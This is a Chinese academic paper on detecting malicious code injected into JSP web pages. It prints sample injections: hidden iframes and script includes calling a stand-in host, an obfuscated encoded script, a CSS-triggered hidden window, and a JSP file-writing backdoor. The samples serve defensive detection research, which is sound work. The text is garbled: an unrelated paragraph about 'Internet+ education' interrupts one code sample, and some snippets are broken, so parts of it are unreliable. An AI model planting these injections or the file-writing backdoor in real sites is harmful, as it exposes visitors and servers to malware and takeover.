趙莉,凌翔
(西安工業(yè)大學(xué) 計(jì)算機(jī)科學(xué)與工程學(xué)院,陜西 西安 710021)
在網(wǎng)絡(luò)和計(jì)算機(jī)技術(shù)的飛速發(fā)展的今天,網(wǎng)頁(yè)已經(jīng)成為傳遞信息最快捷,表現(xiàn)形式最豐富的信息載體之一。隨著網(wǎng)站的廣泛建設(shè),其中的網(wǎng)頁(yè)惡意代碼的危害面和傳播面也隨之?dāng)U大。所以研究一套網(wǎng)頁(yè)惡意代碼檢測(cè)系統(tǒng)就顯得尤為的迫切和重要。現(xiàn)有的網(wǎng)頁(yè)惡意代碼檢測(cè)方法大部分是基于蜜罐技術(shù)或者特征碼識(shí)別技術(shù),蜜罐技術(shù)檢測(cè)準(zhǔn)確率很高,但是效率較低,不適合于常規(guī)應(yīng)用。而特征碼識(shí)別更適合應(yīng)用于二進(jìn)制機(jī)器碼,對(duì)解釋執(zhí)行的文本形式的網(wǎng)頁(yè)腳本程序檢出率較低且誤報(bào)率較高。在總結(jié)了各種網(wǎng)頁(yè)惡意代碼嵌入技術(shù)的基礎(chǔ)上。本系統(tǒng)采用了關(guān)鍵字檢測(cè)與嵌入特征匹配的方法來(lái)檢測(cè)網(wǎng)頁(yè)惡意代碼。由于網(wǎng)頁(yè)惡意代碼嵌入形式的多樣性,以及網(wǎng)頁(yè)文件構(gòu)成的復(fù)雜性。網(wǎng)頁(yè)惡意代碼檢測(cè)系統(tǒng)的關(guān)鍵點(diǎn)就在于如何能準(zhǔn)確檢測(cè)出網(wǎng)頁(yè)文件各個(gè)組成部分中以不同形式嵌入的惡意代碼,并做針對(duì)性的防護(hù)處理。使網(wǎng)頁(yè)惡意代碼檢測(cè)系統(tǒng)能夠有效阻止惡意代碼運(yùn)行帶來(lái)的危害,這就是本文所研究的重點(diǎn)。
本文以主流的JSP網(wǎng)頁(yè)文件為檢測(cè)對(duì)象。JSP文件通常由HTML代碼,JAVA代碼,JS代碼和CSS代碼組成,這些代碼類型都可以作為惡意代碼來(lái)嵌入[1],方式舉例如下:
1.1.1 框架嵌入
攻擊者利用iframe語(yǔ)句將惡意代碼加載到網(wǎng)頁(yè)中可執(zhí)行的嵌入形式是最有效的惡意代碼嵌入技術(shù)之一。通常的代碼如下:
<iframe src=http://www.hack.com/width=0 height=0></iframe>
訪問者在打開插入該代碼的網(wǎng)頁(yè)的同時(shí)也打開了http://www.hack.com/頁(yè)面,但是由于 iframe的長(zhǎng)和寬都為“0”,所以在頁(yè)面上是不顯示的,具有很強(qiáng)的隱蔽性。
1.1.2 圖片偽裝嵌入
攻擊者使用木馬生成工具生成嵌入了惡意代碼的圖片,再利用代碼調(diào)用執(zhí)行。代碼如下:
<html>
<iframe src="http://www.hack.com/hack.htm"height=0 width=0></iframe>
<img src="http://www.hello.com/hack.jpg”></center>
</html>
這段代碼被瀏覽解釋執(zhí)行后會(huì)在瀏覽器界面上顯示hack.jpg的圖片,但是后臺(tái)同時(shí)也執(zhí)行了hack.htm網(wǎng)頁(yè)。
典型的CSS掛馬方式是通過 “background-image”配合JavaScript代碼讓網(wǎng)頁(yè)木馬悄悄地在用戶的電腦中運(yùn)行。代碼如下:
Body{
background -image:url (javascript:open ('http://www.hack.com/','newwindow',' height=0, width=0, top=1000, left=0,toolbar=no, menubar=no, scrollbars=no, resizable =no,location=no, status=no'))
}
這段代碼,使用了 JavaScript的 Open開窗,通過新開一個(gè)隱藏的窗口,在后臺(tái)悄悄地運(yùn)行新窗口并激活訪問網(wǎng)頁(yè)溢出木馬頁(yè)面,不會(huì)影響訪問者觀看網(wǎng)頁(yè)內(nèi)容,因此更加隱蔽。
1.3.1 JavaScript調(diào)用型惡意代碼嵌入
使用直接的iframe框架嵌入很容易被發(fā)現(xiàn),JavaScript調(diào)用型嵌入較之更有隱蔽性。JavaScript調(diào)用型嵌入是一種利用JavaScript腳本文件調(diào)用的原理進(jìn)行的隱蔽惡意代碼嵌入技術(shù),如:黑客先制作一個(gè).js文件,然后利用JavaScript代碼調(diào)用到嵌入惡意代碼的網(wǎng)頁(yè)。通常代碼如下:
<script src='http://www.hack.com/h.js'></script>
http://www.hack.com/h.js就是一個(gè) JavaScript腳本文件,通過它調(diào)用和執(zhí)行惡意程序的服務(wù)端。
1.3.2 JavaScript惡意代碼加密嵌入
加密嵌入是通過 JavaScript的代碼加密方法來(lái)加密嵌入的惡意代碼[2],以此達(dá)到肉眼無(wú)法直接讀懂代碼的目的。這種方式嵌入的惡意代碼具有更強(qiáng)的隱蔽性,示例代碼如下:
<SCRIPT language=JScript.Encode>
#@~^UwAAAA==@#@&hr
NKhRKw U`rtOYa)&&Shhc4l13R1Ghzr~rJSJAr9Y4'8T!Btnr TtYxqZ!SDdbyC(V'xKJ*I@#@&3BgAAA==^#~@
</SCRIPT>
解密后得到以下代碼:
<script language=Javascript>
window.open ("http://www.hack.com/","","width=100,height=100,resizable=no");
</script>
1.3.3 隱蔽嵌入
調(diào)用JavaScript的innerHTML方法向網(wǎng)頁(yè)中寫入惡意鏈接,用戶點(diǎn)擊后就會(huì)跳轉(zhuǎn)到惡意網(wǎng)站。示例代碼如下:
<html>
<body>
<div name="change"></div>
<script language="JavaScript">
</script>
</body>
</html>
1.3.4 高級(jí)欺騙
高級(jí)欺騙是在用戶正常瀏覽網(wǎng)頁(yè)的同時(shí)觸發(fā)惡意代碼執(zhí)行的一種更加隱蔽的方法,如以下代碼所示:
<html>
總之,“互聯(lián)網(wǎng)+”時(shí)代機(jī)遇與挑戰(zhàn)并存,“互聯(lián)網(wǎng)+教育”的發(fā)展要求教師要具有更高的專業(yè)素養(yǎng)以及符合時(shí)代要求的信息技術(shù)能力。為此,高校教師要與時(shí)俱進(jìn),積極改革教學(xué)方式,不斷提升自己的教學(xué)水平和信息素養(yǎng),以此促進(jìn)教師專業(yè)發(fā)展,以滿足“互聯(lián)網(wǎng)+教育”對(duì)高校教師綜合素質(zhì)的要求。
<script>
function www_hack_com()
{
var url="www.hack.com";
open (url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no, width=0,height=0,left=0,top=0");
}
</script>
<body>
<a www_back_com();return ture"> 百度</a>
</body>
</html>
當(dāng)用戶點(diǎn)擊 “百度”鏈接的同時(shí)會(huì)觸發(fā)onMouseOver方法,使得瀏覽器跳轉(zhuǎn)到百度首頁(yè)時(shí)也執(zhí)行了www_hack_com()打開隱形的惡意網(wǎng)頁(yè)。
黑客在JSP頁(yè)面中嵌入如下JAVA代碼:
<%
if(request.getParameter("filename")!=null)
new
java.io.FileOutputStream (application.getRealPath ("\")+request.getParameter ("filename"))).write(request.getParameter("content").getBytes());
%>
再通過瀏覽器端訪問嵌入惡意代碼的頁(yè)面并加上參數(shù),比如:
http://127.0.0.1:8080/test.jsp?filename=add.jsp&content=hello
然后使用瀏覽器訪問http://127.0.0.1:8080/add.jsp就可以進(jìn)入到add.jsp頁(yè)面了
從網(wǎng)頁(yè)惡意代碼嵌入的方式可以看出JSP中惡意HTML代碼都是通過不顯示的<iframe>框架方式或其他方式隱藏惡意鏈接在頁(yè)面中,當(dāng)用戶訪問該頁(yè)面時(shí)瀏覽器自動(dòng)或者欺騙用戶手動(dòng)點(diǎn)擊跳轉(zhuǎn)到惡意網(wǎng)站從而下載到遠(yuǎn)端的惡意程序。我們可以通過檢測(cè)IFRAME的height和width是否為異常數(shù)據(jù)(比如為零或小于5),并且檢測(cè)src中的鏈接是否安全[3-4]。
從JAVA惡意代碼的嵌入方式及工作原理可以看出,Java 惡 意 代 碼 主 要 是 使 用 mkdir,PrintWriter(newfile,write(request.getParameter等方法創(chuàng)建目錄、文件并向文件中寫入從瀏覽器端獲取的數(shù)據(jù)。這些操作的代碼由于Web應(yīng)用安全的需要,很少出現(xiàn)在jsp頁(yè)面中。我們可以通過對(duì)這些關(guān)鍵詞的掃描來(lái)檢測(cè)java惡意代碼。
從本文前面列出的CSS惡意代碼嵌入方式可以看出攻擊者是將惡意鏈接嵌入到HTML元素的樣式中,當(dāng)瀏覽器解釋該頁(yè)面的HTML代碼時(shí)就會(huì)訪問到CSS文件中的url從而訪問到惡意鏈接。經(jīng)過對(duì)網(wǎng)站系統(tǒng)中的JSP文件研究發(fā)現(xiàn),網(wǎng)頁(yè)文件中的鏈接大部分是指向本地并采用相對(duì)地址的方式。也就是說(shuō)很少會(huì)出現(xiàn)鏈接中包含其他網(wǎng)站域名和IP地址的鏈接。如果出現(xiàn)這些鏈接則很可能是被嵌入了惡意代碼。根據(jù)這個(gè)特點(diǎn),本系統(tǒng)采取黑白名單結(jié)合的方式來(lái)提高檢測(cè)效率。白名單取自中文網(wǎng)站排行榜TOP500(http://top.chinaz.com/top500/),黑名單取自360惡意網(wǎng)址列表(http://webscan-b.#/url/)。檢測(cè)方法是:分解出JSP文件中的CSS代碼,提取出url,再對(duì)url進(jìn)行判斷,如果url是在白名單中則認(rèn)為是安全的,如果url在黑名單中則判斷為惡意代碼。如果url既不在白名單也不在黑名單中,則接入網(wǎng)頁(yè)檢測(cè)接口查詢。
JavaScript惡意代碼的嵌入方式最多,嵌入形式最復(fù)雜,所以JavaScript惡意代碼檢測(cè)是本系統(tǒng)需要解決的一個(gè)難點(diǎn)。我們知道JavaScript惡意代碼會(huì)使用混淆技術(shù)和其他躲避技術(shù)來(lái)隱藏自己。這就導(dǎo)致了JavaScript惡意代碼很難被直接通過關(guān)鍵字匹配或者惡意鏈接檢測(cè)的方式準(zhǔn)確的檢測(cè)出來(lái)。但是由于混淆過的數(shù)據(jù)在執(zhí)行過程中要被還原。例如對(duì) write()參數(shù)的混淆,最終還是要還原后傳遞給 write()寫出。所以,本系統(tǒng)內(nèi)置了 JavaScript執(zhí)行模塊。對(duì)JavaScript解釋執(zhí)行后的輸出結(jié)果進(jìn)行檢測(cè)就能使檢測(cè)準(zhǔn)確率大大提高。
本系統(tǒng)使用Rhino構(gòu)建JavaScript腳本解釋執(zhí)行環(huán)境。Rhino引擎只能解析JavaScript腳本,不提供DOM操作的支持。要全面的檢測(cè)JavaScript惡意代碼就必須改進(jìn)Rhino引擎使其支持DOM操作。Rhino解析引擎通過Java來(lái)解析JavaScript腳本,引擎解析腳本采用對(duì)象名稱“name”和對(duì)象實(shí)例“class object”的直接映射,通過這種方式,腳本中的對(duì)象方法和對(duì)象屬性的引用就可以做到Java中一樣。遵循W3C標(biāo)準(zhǔn)創(chuàng)建除window之外對(duì)應(yīng)的瀏覽器內(nèi)置對(duì)象類,內(nèi)置對(duì)象類有W3C標(biāo)準(zhǔn)內(nèi)置對(duì)象的所有屬性和方法,然后模擬瀏覽器執(zhí)行屬性的初始化,最后在線程中建立與W3C對(duì)象“同名的內(nèi)置對(duì)象類”實(shí)例,并且通過如下方法將實(shí)例添加 到 scope[5-6]。
Context.javaToJS(document,jsExploration.getScope())
ScriptableObject.putProperty(s,"document",document)
經(jīng)過以上處理之后,JavaScript腳本就可以直接引用document等瀏覽器內(nèi)置對(duì)象,從而支持DOM操作了。
在解釋執(zhí)行JavaScript后,系統(tǒng)對(duì)產(chǎn)生的輸出結(jié)果進(jìn)行類似HTML惡意代碼的檢測(cè)。比如判斷<iframe>的height和width屬性及src鏈接安全性等。從而判斷JavaScript代碼的安全性。
本系統(tǒng)采用B/S的結(jié)構(gòu)設(shè)計(jì),可以部署在目前主流的基于J2EE技術(shù)的網(wǎng)站系統(tǒng)中。為了增強(qiáng)系統(tǒng)的可擴(kuò)展性和可維護(hù)性,把系統(tǒng)分成了幾個(gè)模塊:控制模塊、網(wǎng)頁(yè)分解模塊、HTML及CSS惡意代碼檢測(cè)模塊、JavaScript代碼解釋運(yùn)行模塊、JavaScript輸出結(jié)果檢測(cè)模塊、惡意和信任鏈接庫(kù)、JAVA惡意代碼檢測(cè)模塊、惡意關(guān)鍵詞庫(kù)、日志模塊。系統(tǒng)模塊組成圖如圖1所示。
圖1 系統(tǒng)結(jié)構(gòu)Fig.1 System structure
1)控制模塊
該模塊提供用戶操作接口且負(fù)責(zé)整個(gè)系統(tǒng)的控制和協(xié)調(diào)。同時(shí)完成數(shù)據(jù)初始化庫(kù)。
2)網(wǎng)頁(yè)分解模塊
完成對(duì)待檢測(cè)的網(wǎng)頁(yè)的分解,將分解結(jié)果提交給各惡意代碼檢測(cè)模塊。
3)HTML,CSS 惡意代碼檢測(cè)模塊
完成對(duì)JSP頁(yè)面中分離出來(lái)的HTML和CSS代碼的檢測(cè),主要檢測(cè)iframe的高寬屬性和鏈接的安全性。
4)JavaScript代碼解釋執(zhí)行模塊
JavaScript惡意代碼為了更好的隱藏自己,經(jīng)常使用加密或者混淆的方式來(lái)避免被肉眼識(shí)別或者檢測(cè)系統(tǒng)檢出。該模塊會(huì)對(duì)JavaScript代碼解釋執(zhí)行,把JavaScript輸出的結(jié)果送入檢測(cè)模塊檢測(cè),從而檢測(cè)出經(jīng)過加密或混淆的代碼。
5)JavaScript輸出結(jié)果檢測(cè)模塊
對(duì)JavaScript代碼解釋執(zhí)行模塊產(chǎn)生的HTML代碼進(jìn)行檢測(cè)。
6)JAVA惡意代碼檢測(cè)模塊
掃描代碼,判斷是否存在惡意關(guān)鍵詞庫(kù)中的關(guān)鍵詞,如果存在即可判斷文件存在JAVA惡意代碼。
7)惡意和信任鏈接庫(kù)
負(fù)責(zé)鏈接庫(kù)的信息維護(hù),可定時(shí)自動(dòng)更新信任鏈接和惡意鏈接,也可手動(dòng)增加、刪除鏈接信息。同時(shí),根據(jù)掃描中對(duì)未知鏈接使用第三方接口判斷的結(jié)果,還可以自動(dòng)添加鏈接信息。
8)惡意關(guān)鍵詞庫(kù)
維護(hù)JAVA惡意代碼關(guān)鍵詞,給JAVA惡意代碼掃描提供參考信息。
9)日志模塊
記錄掃描日志,為修復(fù)系統(tǒng)漏洞,追蹤惡意代碼來(lái)源提供參考信息。
本文通過對(duì)JSP網(wǎng)頁(yè)文件中的惡意代碼的研究總結(jié)出了惡意代碼的特征,結(jié)合了一般網(wǎng)站系統(tǒng)的特點(diǎn)提出了一種具有針對(duì)性的網(wǎng)頁(yè)惡意代碼檢測(cè)系統(tǒng),經(jīng)驗(yàn)證該系統(tǒng)可以準(zhǔn)確快速地檢測(cè)出存在惡意代碼的網(wǎng)頁(yè)并進(jìn)行初步防御處理。一般選擇在服務(wù)器壓力較小的情況下對(duì)站點(diǎn)的網(wǎng)頁(yè)進(jìn)行惡意代碼檢測(cè),在保證了網(wǎng)站服務(wù)器性能的情況下使網(wǎng)頁(yè)安全性得到了保障。
[1]李曉光.網(wǎng)頁(yè)木馬檢測(cè)系統(tǒng)的設(shè)計(jì)與實(shí)現(xiàn)[D].北京:北京郵電大學(xué),2012.
[2]Cova M,Kruegel C,Vigna G.Detection and Analysis of Drive-by-Download Attacks and Malicious JavaScript Code[R].USA,Proceedings of the International World Wide Web Conference,2010.
[3]黃建軍,梁彬.基于植入特征的網(wǎng)頁(yè)惡意代碼檢測(cè)[J].清華大學(xué)學(xué)報(bào):自然科學(xué)版,2009,49(s2):2208-2214.HUANG Jian-jun,LIANG Bin.Web page malicious code detection based on embedded fingerprints[J].Tsinghua Univ:Sci&Tech,2009,49(s2):2208-2214.
[4]吳潤(rùn)浦,方勇,吳少華.基于統(tǒng)計(jì)與代碼特征分析的網(wǎng)頁(yè)木馬檢測(cè)模型[J].信息與電子工程,2009,7(1):71-75.WU Run-pu,F(xiàn)ANG Yong,WU Shao-hua.Web trojan detection model based on statistics and code characteristics analysis[J].Information And Electronic Engineering,2009,7 (1):71-75.
[5]Invernizzi L,Comparetti PM,Benvenuti S,et al.Evilseed:A guided approach to finding malicious web pages[C]//Security and Privacy (SP), 2012 IEEE Symposium on.IEEE,2012:428-442.
[6]李蕊,魏更宇,王樅,等.Rhino解析引擎的分析與改進(jìn)[C]//2010年全國(guó)通信安全學(xué)術(shù)會(huì)議論文集,2010:305-310.